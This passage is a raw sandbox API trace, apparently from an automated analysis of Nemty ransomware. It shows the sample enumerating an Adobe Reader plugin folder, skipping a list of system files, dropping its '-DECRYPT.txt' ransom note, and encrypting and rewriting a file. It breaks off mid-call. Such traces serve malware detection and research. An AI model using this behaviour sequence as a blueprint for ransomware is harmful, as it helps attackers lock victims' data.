lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0191.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.901] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25fcb110, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x25fcb110, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25fcb110, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0191.901] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0191.902] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2=".") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="..") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="...") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="windows") returned -1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="$RECYCLE.BIN") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="rsa") returned -1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="NTDETECT.COM") returned -1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="ntldr") returned -1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="MSDOS.SYS") returned -1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="IO.SYS") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="boot.ini") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="boot.ini") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="AUTOEXEC.BAT") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="ntuser.dat") returned -1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="desktop.ini") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="CONFIG.SYS") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="RECYCLER") returned -1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="BOOTSECT.BAK") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="bootmgr") returned 1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="programdata") returned -1 [0191.902] lstrcmpiW (lpString1="MPP_HUN", lpString2="appdata") returned 1 [0191.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_HUN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_HUN", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_HUN", lpUsedDefaultChar=0x0) returned 7 [0191.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_HUN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_HUN", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_HUN", lpUsedDefaultChar=0x0) returned 7 [0191.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0191.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0191.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0191.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0191.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0191.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0191.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.905] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.905] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0191.906] CloseHandle (hObject=0x2e8) returned 1 [0191.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0191.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0191.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0191.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0191.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0191.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0191.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0191.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0191.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0191.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0191.907] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.907] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0191.908] CloseHandle (hObject=0x2e8) returned 1 [0191.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0191.908] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26063690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26063690, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0191.908] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0191.908] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26063690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26063690, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0191.908] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0191.908] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0191.909] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2=".") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="..") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="...") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="windows") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="$RECYCLE.BIN") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="rsa") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="NTDETECT.COM") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="ntldr") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="MSDOS.SYS") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="IO.SYS") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="boot.ini") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="boot.ini") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="ntuser.dat") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="desktop.ini") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="CONFIG.SYS") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="RECYCLER") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="BOOTSECT.BAK") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="bootmgr") returned 1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="programdata") returned -1 [0191.909] lstrcmpiW (lpString1="Flash.HUN", lpString2="appdata") returned 1 [0191.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HUN", lpUsedDefaultChar=0x0) returned 9 [0191.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HUN", lpUsedDefaultChar=0x0) returned 9 [0191.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HUN", lpUsedDefaultChar=0x0) returned 9 [0191.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HUN", lpUsedDefaultChar=0x0) returned 9 [0191.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0191.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0191.910] Sleep (dwMilliseconds=0x5) [0191.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x260af950, dwHighDateTime=0x1d561e8)) [0191.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x260af950, dwHighDateTime=0x1d561e8)) [0191.925] GetLastError () returned 0xb7 [0191.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.925] GetLastError () returned 0xb7 [0191.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.925] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.925] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.925] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.925] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="xsQ3eOVz/DxnpGr0HqbOeuDOEEvjddsOUpi2wqnqV5fQeEJGoZpjwToEOyCQlrpl\r\n5YLr2DtZQcDIaELj1A62Xb7swpt3FlK26uPYglzWu1eBQjI5B0CGAARWkl8YCo4H\r\n1gubrt1w7dCrULwfdN5S6PjVn+pagd7yGV5CIcQD5nT74C4UzooEjl7RoQbTM9c4\r\nUqmqvKK9APs0DsREJyHMWxkk+2WlNoRfI6wcdhYefQPDBFFux+1Jz36yJFilSCxh\r\nlTid+SlJf4Xmb4LQ4c4ymhSJqGYjd9jrQDqwtOP/Be21Jf5YTJJEXUoT2Rlsguqf\r\n7QeiF83mcLyTSszbXx4Jnw==\r\n", pcchString=0x653e29c) returned 1 [0191.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Flash.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\flash.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.926] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.926] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.926] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.928] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.928] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.928] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.928] WriteFile (in: hFile=0x2f0, 